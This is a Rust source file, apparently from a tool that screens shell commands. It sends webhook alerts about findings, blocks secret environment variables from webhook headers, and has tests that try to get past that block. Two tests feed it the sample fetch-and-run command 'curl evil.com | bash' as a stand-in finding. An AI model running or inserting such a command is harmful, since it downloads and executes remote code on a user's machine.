1use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8#[cfg(unix)]
15pub fn dispatch(
16 verdict: &Verdict,
17 command_preview: &str,
18 webhooks: &[WebhookConfig],
19 custom_dlp_patterns: &[String],
20) {
21 if webhooks.is_empty() {
22 return;
23 }
24
25 let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
27
28 let max_severity = verdict
29 .findings
30 .iter()
31 .map(|f| f.severity)
32 .max()
33 .unwrap_or(Severity::Info);
34
35 for wh in webhooks {
36 if max_severity < wh.min_severity {
37 continue;
38 }
39
40 if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
42 crate::audit::audit_diagnostic(format!(
43 "tirith: webhook: skipping {}: {reason}",
44 wh.url
45 ));
46 continue;
47 }
48
49 let payload = build_payload(verdict, &redacted_preview, wh);
50 let url = wh.url.clone();
51 let headers = expand_env_headers(&wh.headers);
52
53 std::thread::spawn(move || {
54 if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
55 crate::audit::audit_diagnostic(format!(
56 "tirith: webhook delivery to {url} failed: {e}"
57 ));
58 }
59 });
60 }
61}
62
63#[cfg(not(unix))]
65pub fn dispatch(
66 _verdict: &Verdict,
67 _command_preview: &str,
68 _webhooks: &[WebhookConfig],
69 _custom_dlp_patterns: &[String],
70) {
71}
72
73#[cfg(unix)]
75fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
76 if let Some(ref template) = wh.payload_template {
77 let rule_ids: Vec<String> = verdict
78 .findings
79 .iter()
80 .map(|f| f.rule_id.to_string())
81 .collect();
82 let max_severity = verdict
83 .findings
84 .iter()
85 .map(|f| f.severity)
86 .max()
87 .unwrap_or(Severity::Info);
88
89 let result = template
90 .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
91 .replace("{{command_preview}}", &sanitize_for_json(command_preview))
92 .replace(
93 "{{action}}",
94 &sanitize_for_json(&format!("{:?}", verdict.action)),
95 )
96 .replace(
97 "{{severity}}",
98 &sanitize_for_json(&max_severity.to_string()),
99 )
100 .replace("{{finding_count}}", &verdict.findings.len().to_string());
101 if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
103 return result;
104 }
105 crate::audit::audit_diagnostic(
106 "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
107 );
108 }
109
110 let rule_ids: Vec<String> = verdict
112 .findings
113 .iter()
114 .map(|f| f.rule_id.to_string())
115 .collect();
116 let max_severity = verdict
117 .findings
118 .iter()
119 .map(|f| f.severity)
120 .max()
121 .unwrap_or(Severity::Info);
122
123 serde_json::json!({
124 "event": "tirith_finding",
125 "action": format!("{:?}", verdict.action),
126 "severity": max_severity.to_string(),
127 "rule_ids": rule_ids,
128 "finding_count": verdict.findings.len(),
129 "command_preview": sanitize_for_json(command_preview),
130 })
131 .to_string()
132}
133
134#[cfg(unix)]
136fn expand_env_headers(
137 headers: &std::collections::HashMap<String, String>,
138) -> Vec<(String, String)> {
139 headers
140 .iter()
141 .map(|(k, v)| {
142 let expanded = expand_env_value(v);
143 (k.clone(), expanded)
144 })
145 .collect()
146}
147
148#[cfg(unix)]
150fn expand_env_value(input: &str) -> String {
151 let mut result = String::with_capacity(input.len());
152 let mut chars = input.chars().peekable();
153
154 while let Some(c) = chars.next() {
155 if c == '$' {
156 if chars.peek() == Some(&'{') {
157 chars.next(); let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
159 if !var_name.starts_with("TIRITH_") {
160 crate::audit::audit_diagnostic(format!(
161 "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
162 ));
163 } else if is_sensitive_webhook_env_var(&var_name) {
164 crate::audit::audit_diagnostic(format!(
165 "tirith: webhook: sensitive env var '{var_name}' blocked"
166 ));
167 } else {
168 match std::env::var(&var_name) {
169 Ok(val) => result.push_str(&val),
170 Err(_) => {
171 crate::audit::audit_diagnostic(format!(
172 "tirith: webhook: warning: env var '{var_name}' is not set"
173 ));
174 }
175 }
176 }
177 } else {
178 let mut var_name = String::new();
180 while let Some(&ch) = chars.peek() {
181 if ch.is_ascii_alphanumeric() || ch == '_' {
182 var_name.push(ch);
183 chars.next();
184 } else {
185 break; }
187 }
188 if !var_name.is_empty() {
189 if !var_name.starts_with("TIRITH_") {
190 crate::audit::audit_diagnostic(format!(
191 "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
192 ));
193 } else if is_sensitive_webhook_env_var(&var_name) {
194 crate::audit::audit_diagnostic(format!(
195 "tirith: webhook: sensitive env var '{var_name}' blocked"
196 ));
197 } else {
198 match std::env::var(&var_name) {
199 Ok(val) => result.push_str(&val),
200 Err(_) => {
201 crate::audit::audit_diagnostic(format!(
202 "tirith: webhook: warning: env var '{var_name}' is not set"
203 ));
204 }
205 }
206 }
207 }
208 }
209 } else {
210 result.push(c);
211 }
212 }
213
214 result
215}
216
217#[cfg(unix)]
218fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
219 matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
220}
221
222#[cfg(unix)]
224fn send_with_retry(
225 url: &str,
226 payload: &str,
227 headers: &[(String, String)],
228 max_attempts: u32,
229) -> Result<(), String> {
230 let client = reqwest::blocking::Client::builder()
231 .timeout(std::time::Duration::from_secs(10))
232 .build()
233 .map_err(|e| format!("client build: {e}"))?;
234
235 for attempt in 0..max_attempts {
236 let mut req = client
237 .post(url)
238 .header("Content-Type", "application/json")
239 .body(payload.to_string());
240
241 for (key, value) in headers {
242 req = req.header(key, value);
243 }
244
245 match req.send() {
246 Ok(resp) if resp.status().is_success() => return Ok(()),
247 Ok(resp) => {
248 let status = resp.status();
249 if status.is_client_error() {
251 return Err(format!("HTTP {status} (non-retriable client error)"));
252 }
253 if attempt + 1 < max_attempts {
254 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
255 std::thread::sleep(delay);
256 } else {
257 return Err(format!("HTTP {status} after {max_attempts} attempts"));
258 }
259 }
260 Err(e) => {
261 if attempt + 1 < max_attempts {
262 let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
263 std::thread::sleep(delay);
264 } else {
265 return Err(format!("{e} after {max_attempts} attempts"));
266 }
267 }
268 }
269 }
270
271 Err("exhausted retries".to_string())
272}
273
274fn sanitize_for_json(input: &str) -> String {
276 let truncated: String = input.chars().take(200).collect();
277 let json_val = serde_json::Value::String(truncated);
279 let s = json_val.to_string();
281 s[1..s.len() - 1].to_string()
282}
283
284#[cfg(test)]
285mod tests {
286 use super::*;
287
288 #[test]
289 fn test_sanitize_for_json() {
290 assert_eq!(sanitize_for_json("hello"), "hello");
291 assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
292 assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
293 }
294
295 #[test]
296 fn test_sanitize_for_json_truncates() {
297 let long = "x".repeat(500);
298 let result = sanitize_for_json(&long);
299 assert_eq!(result.len(), 200);
300 }
301
302 #[cfg(unix)]
303 #[test]
304 fn test_expand_env_value() {
305 let _guard = crate::TEST_ENV_LOCK
306 .lock()
307 .unwrap_or_else(|e| e.into_inner());
308 unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
309 assert_eq!(
310 expand_env_value("Bearer $TIRITH_TEST_WH"),
311 "Bearer secret123"
312 );
313 assert_eq!(
314 expand_env_value("Bearer ${TIRITH_TEST_WH}"),
315 "Bearer secret123"
316 );
317 assert_eq!(expand_env_value("no vars"), "no vars");
318 unsafe { std::env::remove_var("TIRITH_TEST_WH") };
319 }
320
321 #[cfg(unix)]
322 #[test]
323 fn test_expand_env_value_preserves_delimiter() {
324 let _guard = crate::TEST_ENV_LOCK
325 .lock()
326 .unwrap_or_else(|e| e.into_inner());
327 unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
329 assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
330 assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
331 unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
332 }
333
334 #[cfg(unix)]
335 #[test]
336 fn test_expand_env_value_blocks_sensitive_vars() {
337 let _guard = crate::TEST_ENV_LOCK
338 .lock()
339 .unwrap_or_else(|e| e.into_inner());
340 unsafe {
341 std::env::set_var("TIRITH_API_KEY", "secret-api-key");
342 std::env::set_var("TIRITH_LICENSE", "secret-license");
343 }
344 assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
345 assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
346 unsafe {
347 std::env::remove_var("TIRITH_API_KEY");
348 std::env::remove_var("TIRITH_LICENSE");
349 }
350 }
351
352 #[cfg(unix)]
357 #[test]
358 fn test_bypass_sensitive_var_both_forms() {
359 let _guard = crate::TEST_ENV_LOCK
360 .lock()
361 .unwrap_or_else(|e| e.into_inner());
362 unsafe {
363 std::env::set_var("TIRITH_API_KEY", "leaked");
364 std::env::set_var("TIRITH_LICENSE", "leaked");
365 }
366 assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
368 assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
369 assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
371 assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
372 assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
374 assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
375 unsafe {
376 std::env::remove_var("TIRITH_API_KEY");
377 std::env::remove_var("TIRITH_LICENSE");
378 }
379 }
380
381 #[cfg(unix)]
382 #[test]
383 fn test_bypass_case_variation_is_different_var() {
384 let _guard = crate::TEST_ENV_LOCK
385 .lock()
386 .unwrap_or_else(|e| e.into_inner());
387 unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
391 assert_eq!(
392 expand_env_value("$TIRITH_api_key"),
393 "not-sensitive",
394 "Case-different var name should expand (it's a different var)"
395 );
396 unsafe { std::env::remove_var("TIRITH_api_key") };
397 }
398
399 #[cfg(unix)]
400 #[test]
401 fn test_bypass_non_sensitive_tirith_var_still_expands() {
402 let _guard = crate::TEST_ENV_LOCK
403 .lock()
404 .unwrap_or_else(|e| e.into_inner());
405 unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
406 assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
407 assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
408 unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
409 }
410
411 #[cfg(unix)]
412 #[test]
413 fn test_bypass_double_dollar_does_not_expand() {
414 let _guard = crate::TEST_ENV_LOCK
415 .lock()
416 .unwrap_or_else(|e| e.into_inner());
417 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
418 let result = expand_env_value("$$TIRITH_API_KEY");
422 assert!(
423 !result.contains("leaked"),
424 "Double-dollar must not leak: got {result}"
425 );
426 unsafe { std::env::remove_var("TIRITH_API_KEY") };
427 }
428
429 #[cfg(unix)]
430 #[test]
431 fn test_bypass_nested_braces_does_not_expand() {
432 let _guard = crate::TEST_ENV_LOCK
433 .lock()
434 .unwrap_or_else(|e| e.into_inner());
435 unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
436 let result = expand_env_value("${TIRITH_${NESTED}}");
440 assert!(
441 !result.contains("leaked"),
442 "Nested braces must not leak: got {result}"
443 );
444 unsafe { std::env::remove_var("TIRITH_API_KEY") };
445 }
446
447 #[cfg(unix)]
448 #[test]
449 fn test_build_default_payload() {
450 use crate::verdict::{Action, Finding, RuleId, Timings};
451
452 let verdict = Verdict {
453 action: Action::Block,
454 findings: vec![Finding {
455 rule_id: RuleId::CurlPipeShell,
456 severity: Severity::High,
457 title: "test".into(),
458 description: "test desc".into(),
459 evidence: vec![],
460 human_view: None,
461 agent_view: None,
462 mitre_id: None,
463 custom_rule_id: None,
464 }],
465 tier_reached: 3,
466 bypass_requested: false,
467 bypass_honored: false,
468 interactive_detected: false,
469 policy_path_used: None,
470 timings_ms: Timings::default(),
471 urls_extracted_count: None,
472 requires_approval: None,
473 approval_timeout_secs: None,
474 approval_fallback: None,
475 approval_rule: None,
476 approval_description: None,
477 };
478
479 let wh = WebhookConfig {
480 url: "https://example.com/webhook".into(),
481 min_severity: Severity::High,
482 headers: std::collections::HashMap::new(),
483 payload_template: None,
484 };
485
486 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
487 let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
488 assert_eq!(parsed["event"], "tirith_finding");
489 assert_eq!(parsed["finding_count"], 1);
490 assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
491 }
492
493 #[cfg(unix)]
494 #[test]
495 fn test_build_template_payload() {
496 use crate::verdict::{Action, Finding, RuleId, Timings};
497
498 let verdict = Verdict {
499 action: Action::Block,
500 findings: vec![Finding {
501 rule_id: RuleId::CurlPipeShell,
502 severity: Severity::High,
503 title: "test".into(),
504 description: "test desc".into(),
505 evidence: vec![],
506 human_view: None,
507 agent_view: None,
508 mitre_id: None,
509 custom_rule_id: None,
510 }],
511 tier_reached: 3,
512 bypass_requested: false,
513 bypass_honored: false,
514 interactive_detected: false,
515 policy_path_used: None,
516 timings_ms: Timings::default(),
517 urls_extracted_count: None,
518 requires_approval: None,
519 approval_timeout_secs: None,
520 approval_fallback: None,
521 approval_rule: None,
522 approval_description: None,
523 };
524
525 let wh = WebhookConfig {
526 url: "https://example.com/webhook".into(),
527 min_severity: Severity::High,
528 headers: std::collections::HashMap::new(),
529 payload_template: Some(
530 r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
531 ),
532 };
533
534 let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
535 assert!(payload.contains("curl_pipe_shell"));
536 assert!(payload.contains("curl evil.com"));
537 }
538}